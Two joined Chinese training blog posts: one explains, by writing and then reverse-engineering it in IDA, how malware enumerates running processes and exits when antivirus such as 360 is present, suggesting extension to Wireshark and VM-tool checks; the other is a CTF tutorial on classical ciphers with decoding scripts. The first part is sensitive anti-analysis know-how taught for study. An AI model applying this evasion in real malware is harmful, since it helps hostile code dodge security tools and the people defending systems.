这次我们对很多木马和APT组织常见的一个手法进行正向开发和逆向分析,这个手法就是当发现当前系统中存在特定的杀毒软件和行为监控软件等安全软件时,退出自身进程不再执行自身的恶意模块。其实这个原理还是很简单的,就是进程遍历,然后与这些安全软件的进程进行对比。
进程遍历的常见方法是首先使用CreateToolhelp32Snapshot函数创建一个进程快照,这个快照是当前系统中所运行的所有进程,和使用Windows任务管理器查看进程的结果类似,区别在于Windows任务管理器是实时的,而创建进程快照是“拍照”那一刻所运行着的所有进程。之后使用Process32First和Process32Next对所有的进程进行遍历,将得到的进程名与安全软件的进程名进行对比,如果相等,则退出自身进程。对于windows10的任务管理器不再显示映像名称,可以使用cmd中的tasklist命令来查看当前运行的所有进程。
那我们怎么知道安全软件的进程名呢?这就要靠自己去收集了,比如360tray.exe和360sd.exe就是360安全卫士和360杀毒的进程名,我们以360杀毒为例,当我们发现当前机器上运行了360杀毒则直接退出。
1 正向开发之进程遍历查找360杀毒
1、CreateToolhelp32Snapshot函数
这个函数的参数有两个,第一个是dwFlags参数,这个参数用来指定快照中包含的系统内容,在这里我们要查看当前系统中所有的进程,所以dwFlags参数要指定为TH32CS_SNAPPROCESS,第二个参数为进程ID,这里我们应该指定为0,为什么会有这个参数呢?因为CreateToolhelp32Snapshot函数不仅仅可以用来查看当前系统中运行的进程,还可以查看某一个指定进程的所有堆(TH32CS_SNAPHEAPLIST)或者模块(TH32CS_SNAPMODULE),这个参数只有当查看某一个指定进程的所有堆或者模块时才有效。我们需要将其指定为0,表示查看当前系统中运行的进程,函数调用成功
2、Process32First函数
这个函数查找系统快照中第一个进程信息,有两个参数,第一个参数hSnapshot是CreateToolhelp32Snapshot返回的进程句柄,第二个参数LPPROCESSENTRY32是一个结构体指针,而这个结构体首先是需要我们来初始化,之后当Process32First调用成功后,就会将函数的返回值存储到这个结构体中,这一点和Python不太一样,需要注意。
3、Process32Next函数
这个函数查找系统快照中下一个进程信息,和Process32First参数一样,两者结合即可遍历系统快照中的进程。
4、编写代码
首先需要把必须的一些头文件包含进来,之后创建了一个listProcess函数来遍历进程,在listProcess函数里首先初始化LPPROCESSENTRY32结构体,其中需要注意的是在调用Process32First之前,我们需要先将结构体中的dwSize初始化,这个值表示结构体大小,可以通过sizeof(LPPROCESSENTRY32)获取。之后依次调用CreateToolhelp32Snapshot、Process32First、Process32Next,然后使用StrStr函数进行对比,系统快照中的进程名保存在LPPROCESSENTRY32结构体中的szExeFile这个成员变量
如果在一台装有360杀毒的主机上运行,当检测到有360se.exe之后便停止运行:
2 逆向分析之进程遍历查找360杀毒
ida停留在这个界面,我们双击查看listProcess函数的内容:
首先查看其调用了CrateToolhelp32Snapshot函数:
其中可以看到PROCESSENTRY32结构体在此系统版本和编译环境下的大小为128h,dwFlags的值为2,这是因为TH32CS_SNAPPROCESS是一个宏定义,它对应的常量为2:
得到CrateToolhelp32Snapshot返回值后为什么要将其与0FFFFFFFFh进行对比?查看其二进制:
32个1,我们通过查看宏的方式,看到这个值是-1。
为什么是32个1呢?我第一时间想到原来学习计算机组成原理的时候有一节课在讲补码,好像涉及到这个。经过查阅资料,发现确实是-1。负数是通过对其绝对值相同的正数先按位取反再加1得到的,即-1是通过对1按位取反之后再加1得到的,这样能保证两者相加结果为0(两者相加会溢出,正好为0)。把当年没认真学的知识弄清楚的感觉真棒!
之后,调用了Process32First函数,参数分别为一个指针和一个快照:
之后,获取其进程名然后使用StrStr查找是否包含360sd.exe:
重点查看这里:
其中,先将eax的值(即为PROCESSENTRY32结构体中的szExeFile成员变量,具体可查看PROCESSENTRY32结构体)存入esp+4,再将the process is %s\n字符串存入esp中,这其实相当于是先push eax,再push字符串,然后调用printf进行输出。
之后再调用StrStr将进程名与360sd.exe进行对比。如果匹配上,则直接进入最左侧:
如果匹配不上,则进入右侧,调用Process32Next,再循环执行。当Process32Next返回值为FALSE即为零时,则会跳转到中间,此时所有的进程已经遍历完。至此,整个程序逆向分析完毕。
3总结
此次正向开发和逆向分析,主要是对windows中的进程遍历相关的API进行了熟悉和掌握,同时,将遍历到的每一个进程名与常见的安全软件进行匹配,之后再采取相应的措施。基于此,可以拓展开发更多的功能,比如匹配一些行为监控软件、Wireshark、虚拟机vmtools软件等等。
相关实验推荐--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016031811584100001&pk_campaign=heetian-wemedia
▲ https://www.yijinglab.com/pages/activity/webSafetyOpenClass.html?pk_campaign=heetian-wemedia&pk_medium=wemedia
ctf古典密码从0到1
亲爱的,关注我吧
9/7
本文共计6357个词
阅读预计花费8分钟
1.古典密码和现代密码的区别:
2.代换密码
a)单表代换密码
i.字符或数学型
1.凯撒密码
2.仿射密码
3.四方密码
4.培根密码
ii.图表
1.标准银河字母
2.圣堂武士密码
3.猪圈密码
4.当铺密码
5.跳舞的小人密码
b)多表代换密码
i.希尔密码
ii.维吉尼亚密码
iii.棋盘密码(Polybius)
iv.普莱费尔密码(playfair)
v.Nihilist密码
vi.Keyboard密码
3.移位密码
a)栅栏密码
b)云影密码
c)简单位移密码
d)曲路密码
4.CTF crypto线下工具推荐
古典密码和现代密码的区别:
古典密码是密码学中的其中一个类型,其大部分加密方式都是利用替换式密码或移项式密码,有时则是两者的混合。其于历史中经常使用,但现代已经很少使用,大部分的已经不再使用了。一般而言,经典密码是基于一个拼音字母(像是 A-Z)、动手操作或是简单的设备。它们可能是一种简单的密码法,以致于不可信赖的地步,特别是有新技术被发展出来后。
现代的方法是用电脑或是其它数字科技,基于比特和字节上操作。许多经典密码被受尊重的人使用,像是尤利乌斯·凯撒和拿破仑,他们创造了一些常被人们使用的密码。许多密码起源于军事上,相同立场的人常使用来寄送秘密消息。经典的方法常攻击密码文,有时候甚至不知其密码系统,也可以使用工具,像是频率分析法。有些经典密码是使用先进的机器或是机电密码机器,像是恩尼格玛密码机。 ---维基
其中,古典密码学,作为一种实用性艺术存在,其编码和破译通常依赖于设计者和敌手的创造力与技巧,并没有对密码学原件进行清晰的定义。古典密码学主要包含以下几个方面:
单表替换加密(Monoalphabetic Cipher)
多表替换加密(Polyalphabetic Cipher)
奇奇怪怪的加密方式 --ctf wiki
凯撒密码:
凯撒曾经使用这种密码与其将军们来联系,所以用凯撒来命名这种密码。
根据图片来了解加密原理。凯撒密码一般适用于26个英文字母。根据偏移量来进行加密。如图所示,当偏移量=3。即是A-D,B-E。
把字母转成数学,数学公式如下。
在线加解密网站:
https://www.qqxiuzi.cn/bianma/kaisamima.phphttp://www.metools.info/code/c70.htmlhttp://www.atoolbox.net/Tool.php?Id=778仿射密码:
数学加密公式:
仿射密码中解密需要用到求逆元
直接给出python解密脚本:
import primefac def affine_decode(c,a,b,origin="abcdefghijklmnopqrstuvwxyz"): r="" n=len(origin) ai=primefac.modinv(a,n)%n for i in c: if origin.find(i)!=1: r+=origin[(ai*(origin.index(i)-b))%n] else: r+=i return r print affine_decode("ihhw
仿射密码在线加解密网站:
http://www.atoolbox.net/Tool.php?Id=911仿射密码真题-one:
Buuctf- Crypto-[GKCTF2020]小学生的密码学
e(x)=11x+6(mod26)
密文:welcylk
(flag为base64形式)
四方密码:
四方密码是一种对称式加密法,由法国人Felix Delastelle(1840年–1902年)发明。
这种方法将字母两个一组,然后采用多字母替换密码。
四方密码用4个5×5的矩阵来加密。每个矩阵都有25个字母(通常会取消Q或将I,J视作同一样,或改进为6×6的矩阵,加入10个数字)。
选两个密钥,example和keyword。去掉重复的字母。就是example变成exampl。余下的字母顺序存入矩阵即可
加密矩阵放右上和左下。
加密步骤。把字符串按两个字母一组分开
Helloworld
He ll ow or ld
找第一组第一个字母在左上角矩阵的位置:
找第一组第二个字母在右下角矩阵的位置:
先找和一个字母同横的,和第二个字母同直的
第一个字母同直,第二个字母同横的
得到he加密后为FY
如此可得接下来,最后就是
he lp me ob iw an ke no bi
FY GM KY HO BX MF KK KI MD
四方密码真题-one:
Buuctf-crypo-四面八方
四方密码:
wiki上了解四方密码如何加解密的一个过程
https://zh.wikipedia.org/wiki/%E5%9B%9B%E6%96%B9%E5%AF%86%E7%A2%BC密钥存阵
通常在题目中会给定2个密钥,我们要去掉Q或者把I和J当成一个。按照26个英文字母。秘钥中出现的不填。补充成5*5的矩阵
这题直接填充即可
securityabdfghjklmnopvwxz securityadbfghjklmnopvwxz abcdefghijklmnopqrstuvwxyz informatn informatbcdeghjklpsuvwxyz abcdefghijklmnopqrstuvwxyz
在线解密工具:
http://ctf.ssleye.com/four.html根据题目说的解出来的语句是个通顺的句子,那肯定排序就有点问题
接下来可以拿出词频分析。
这边分割可以多试试。可以看出来个success,其他位置试
https://quipqiup.com/四方密码在线加解密网站:
http://ctf.ssleye.com/four.html培根密码:
培根密码直接根据表中的字母进行转换。
密文一般只含有a和b字母
培根密码在线解密:
https://tool.bugku.com/peigen/培根密码真题-one:
攻防世界crypto新手-不仅仅是morse
把/转换成空格。直接拿出morse解密
在看后面一段像培根密码,根据题目提示是食物加密。
标准银河字母:
标准银河字母(Standard Galactic Alphabet)出自游戏《指挥官基恩》系列。是系列中使用的书写系统。这是一个简单的替代暗号,用不同的符号取代拉丁字母。SGA可以在不同的语言中使用,比如在游戏《Minecraft》,《指挥官基恩》中。
如果遇到这类题。直接根据题目来进行图翻->字母
圣堂武士密码:
圣堂武士密码(Templar Cipher)是共济会的“猪圈密码”的一个变种,一直被共济会圣殿骑士用。
直接根据图片上的直接翻译出字母即可
猪圈密码:
猪圈密码(亦称朱高密码、共济会暗号、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码。即使使用符号,也不会影响密码分析,亦可用在其它替代式的方法。
直接图片替换字母即可
猪圈密码在线解密网站:
http://www.metools.info/code/c90.html猪圈密码真题:
Buuctf-crypto-萌萌哒的八戒
直接解密
猪圈密码-圣堂武士密码-标准银河字母-栅栏密码真题:
Buuctf-Crypto- [MRCTF2020]古典密码知多少
图上的蓝色就是猪圈密码,橙色的是圣堂武士密码,黑色的是银河字母。
当铺密码:
当铺密码就是一种将中文和数字进行转化的密码,算法相当简单:当前汉字有多少笔画出头,就是转化成数字几。例如:
口 0 田 0 由 1 中 2 人 3 工 4
大 5 王 6 夫 7 井 8 羊 9
具体映射可查看:
https://www.cnblogs.com/cc11001100/p/9357263.html当铺密码真题:
Buuctf-crypto-GKCTF2020汉字的秘密
直接解码发现不对。
翻看ascii码。改进一下脚本:
自己猜一下flag开头为flag。可以看到ascii嘛每一位都是递增的。
差为1,2,3,4
跳舞的小人密码:
跳舞的人,讲的是一个黑帮发明的一种密码,其密码就是用一个一个的跳舞的小人组成的,一个小人是一个字母。有人用这种密码进行通信,来威胁某人,福尔摩斯后来破解了这个密码,抓住了坏人。
这题直接根据表来进行转换即可。加解密同
这题感觉是做过的。但没翻到例题。就不放了。
希尔密码(hill):
希尔密码(Hill Cipher)是运用基本矩阵论原理的替换密码,由Lester S. Hill在1929年发明。每个字母当作26进制数字:A=0, B=1, C=2... 一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得出的结果MOD26。
直接给出网上的脚本可以参考:
import numpy as np m = 'YOURPINNOISFOURONETWOSIX' #明文 a = np.matrix([[11,2,19],[5,23,25],[20,7,17]]) #密钥LCTFXZUHR num_m = [] temp = [] count = 1 for i in m: #将明文分为三个一组 temp.append(ord(i)-ord('A')) if count % 3 == 0: num_m.append(temp) temp = [] count += 1 mat_m = [np.m
希尔密码在线加解密:
http://www.atoolbox.net/Tool.php?Id=914维吉尼亚密码:
维吉尼亚密码(又译维热纳尔密码)是使用一系列凯撒密码组成密码字母表的加密算法,属于多表密码的一种简单形式。
维吉尼亚加解密表格:
当明文为
ATTACKATDAWN
选择某一关键词并重复而得到密钥,如关键词为LEMON时,密钥为:
LEMONLEMONLE
对于明文的第一个字母A,对应密钥的第一个字母L,于是使用表格中L行字母表进行加密,得到密文第一个字母L。类似地,明文第二个字母为T,在表格中使用对应的E行进行加密,得到密文第二个字母X。以此类推,可以得到:
明文:ATTACKATDAWN
密钥:LEMONLEMONLE
密文:LXFOPVEFRNHR
维吉尼亚密码在线加解密:
https://www.qqxiuzi.cn/bianma/weijiniyamima.php维吉尼亚密码真题-one:
BUUCTF-Crypto-[BJDCTF 2nd]燕言燕语-y1ng
小燕子,穿花衣,年年春天来这里,我问燕子你为啥来,燕子说:
79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20
16进制转字符串
维吉尼亚在线直接解
棋盘密码(Polybius):
波利比奥斯棋盘(Polybius Checkerboard)是棋盘密码的一种,是利用波利比奥斯方阵(Polybius Square)进行加密的密码方式,产生于公元前两世纪的希腊,相传是世界上最早的一种密码。简单的来说就是把字母排列好,用坐标的形式表现出来。字母是密文,明文便是字母的坐标。
借鉴知乎上的图
先看纵向,在看横向。得到密文
明文HELLO 密文:23 15 31 31 34
普莱费尔密码(playfair):
选取一个英文字作密钥。除去重复出现的字母。将密钥的字母逐个逐个加入5×5的矩阵内,剩下的空间将未加入的英文字母依a-z的顺序加入。(将Q去除,或将I和J视作同一字。)
将要加密的讯息分成两个一组。若组内的字母相同,将X(或Q)插入两字母之间,重新分组(例如 HELLO 将分成 HE LX LO)。若剩下一个字,也加入X字。
在每组中,找出两个字母在矩阵中的地方。
若两个字母不在同一直行或同一横列,在矩阵中找出另外两个字母,使这四个字母成为一个长方形的四个角。
若两个字母在同一横列,取这两个字母右方的字母(若字母在最右方则取最左方的字母)。
若两个字母在同一直行,取这两个字母下方的字母(若字母在最下方则取最上方的字母)。
取playfair example为密钥。即可得到表
P L A Y F
I R E X M
B C D G H
K N O Q S
T U V W Z
需要加密的为Hide the gold
HI DE TH EG OL
加密后为
BM OD ZB XD
在线普莱费尔加解密:
http://www.atoolbox.net/Tool.php?Id=912http://rumkin.com/tools/cipher/playfair.php普莱费尔真题-one:
Buuctf-crypto-cipher
还能提示什么呢?公平的玩吧(密钥自己找) Dncnoqqfliqrpgeklwmppu 注意:得到的 flag 请包上 flag{} 提交, flag{小写字母}
http://rumkin.com/tools/cipher/playfair.phpNihilist密码:
Nihilist跟polybius密码差不多
相同的先看纵向,在看横向。
例如a=[2,3]=23
Keyboard密码:
Keyboard密码在ctf中应该是分多种类型的。这里提两种。即9键表和26键包含
9键表就是通过九键上多次字母来进行字母提取
26键包含通过明文多个字符对应一个密文
9键表真题:
直接放两道题来理解
Buuctf- Crypto-[NCTF2019]Keyboard
分析第一个字符串,ooo,o在键盘上对应的是9,有3个o,表示第9个格子的第三个字母,就是y。那yyy就是指字母o
cipher="ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee" base=" qwertyuiop" a=[" "," ","abc","def","ghi","jkl","mno","pqrs","tuv","wxyz"] #print(base.index("q")) for part in cipher.split(" "): s=base.index(part[0]) cou
第一步:
构造3个需要的值,变量和列表
cipher就是题目附件的字符串
base就是键盘上一行对应的数字,第一个为空。因为索引的时候,第一个为0。使得q正好为1
a列表第一个的空格字符串同理。也是0。如下走下来空格对应九格键盘上的1,abc就对应九格键盘上的数字2,def对应3。
第二步:
index就是索引的值,就是取键盘上的数字
a[][]。列表的两次,就直接取对应的字母了。end是为了不换行。
count的减1,还是因为第一个是0
Buuctf- Crypo-[MRCTF2020]keyboard
得到的flag用
MRCTF{xxxxxx}形式上叫
都为小写字母
6
666
22
444
555
33
7
44
666
66
3
str="6 666 22 444 555 33 7 44 666 66 3"
a=[" "," ","abc","def","ghi","jkl","mno","pqrs","tuv","wxyz"]
for i in str.split(" "):
s=int(i[0])
count=len(i)
print(a[s][count-1],end="")
这边解出来最后一个字母是d。但提交不上。搜一下这个单词就知道最后一个应该打错了。是e
26键包含真题:
密码学-keyword
根据题目hint:应该。是键盘包围,或者画图
BHUK,LP TGBNHGYT BHUK,LP UYGBN TGBNHGYT BHUK,LP BHUK,LP TGBNHGYT BHUK,LP TGBNHGYT UYGBN
空格划组 逗号也算一个里面
直接画出来
NBNCBNNBNBC
栅栏密码:
栅栏密码是典型的置换密码。把明文分成n个1组。在进行连接。根据如何连接,又分为普通栅栏密码(|||栅栏密码)和W型栅栏密码。
普通栅栏密码(|||栅栏密码)
值和n:
fslda1g2{3a}
n=2
按2个分组
fs ld a1 g2 {3 a}
取第一个
flag{a
在取全部
flag{asd123}
普通栅栏密码(|||栅栏密码)真题-one:
Buuctf-Crypto-篱笆墙的影子
直接两栏获得flag
w型栅栏密码
写成W型的栅栏密码。但读取还是按行从左往右读取。
值和n:
flag{asd123}
n=2
照样是2个分组
f.a.{.s.1.3
.l.g.a.d.2.}
直接从左往右读取
fa{s13lgad2}
W型栅栏密码真题-one:
攻防世界Crypto新手-Railfence
根据题目名和题目描述可知是栅栏密码。
但不是普通的|||型栅栏密码
是变种的W型栅栏密码
在线解密:
http://www.atoolbox.net/Tool.php?Id=777手解:
把值按照W型进行横排排列,把明文的第一个填充到密文的第一行第1个位置,把明文的第二个填充到密文的第一行第9个位置。在把明文的第三个填充到密文的第17个位置。在把明文的第四个填充到密文的第25个位置。在把明文的第五个填充到密文的第33个位置。
当len=35,key=5时(这个就自己画一画吧)然后你就会发现:首行和尾行的间隔依旧不变,假设行数为i,当当前数为第2行的奇数的时候,下一个数字为2+6=8也就是(key-i)*2,若当前数为第二行偶数的时候,下一个数字为8+2=10也就是(i-1)*2。
普通栅栏密码加解密:
https://www.qqxiuzi.cn/bianma/zhalanmima.phpW型栅栏密码在线加解密:
http://www.atoolbox.net/Tool.php?Id=777云影密码:
有1,2,4,8这四个数字,可以通过加法来用这四个数字表示0-9中的任何一个数字,列如0=28, 也就是0=2+8,同理7=124, 9=18。这样之后再用1-26来表示26个英文字母,就有了密文与明文之间的对应关系。引入0来作为间隔,以免出现混乱。所以云影密码又叫“01248密码”。
也给出一个python脚本地址:
https://www.jianshu.com/p/b5aa5cf60f83 #!/usr/bin/python # -*- coding=utf8 -*- """ # @Author : pig # @CreatedTime:2019-11-2423:54:02 # @Description : """ def de_code(c): dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)] flag = [] c2 = [i for i in c.split("0")] for i in c2:
简单位移密码:
这个密码是我在《ctf特训营》这本书上看到的。自己并没有在题目中做到过
实例借鉴书中
m=flag{easy_easy_crypto}
k=”3124”
len(k)=4,切分m。
flay {eas y_ea sy_c rypt o}
按照3124直接排列
Lafg ea{s _eya y_sc yprt }o
密文:
Lafgea{s_eyay_scyprt}o
解密代码:
def shift_decrypt(c,k): l=len(k) m="" for i in range(0,len(c),l): tmp_m=[""]*l if i+l>=len(c): tmp_c=c[i:] use=[] for kindex in range(len(tmp_c)): use.append(int(k[kindex])-l) use.sort() for kinde
曲路密码:
按照事先约定的原则把明文填入表中
例如:明文为HelloWorldab
按照一定的顺序进行遍历
密文就是lrbaoleWdloH
CTF crypto线下工具推荐:
CTFCrackTools
https://github.com/Acmesec/CTFCrackToolsCyberChef
https://www.chinabaiker.com/cyberchef.htm直接可以下载到本地
参考:
https://ctf-wiki.github.io/ctf-wiki/cryptohttps://zh.wikipedia.org/wikihttps://baike.baidu.com《ctf特训营》
https://buuoj.cn/相关实验:https://sourl.cn/GTxP4Q
(密码学是研究如何隐密地传递信息的学科。通过本课程实验掌握密码学的相关知识。)
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

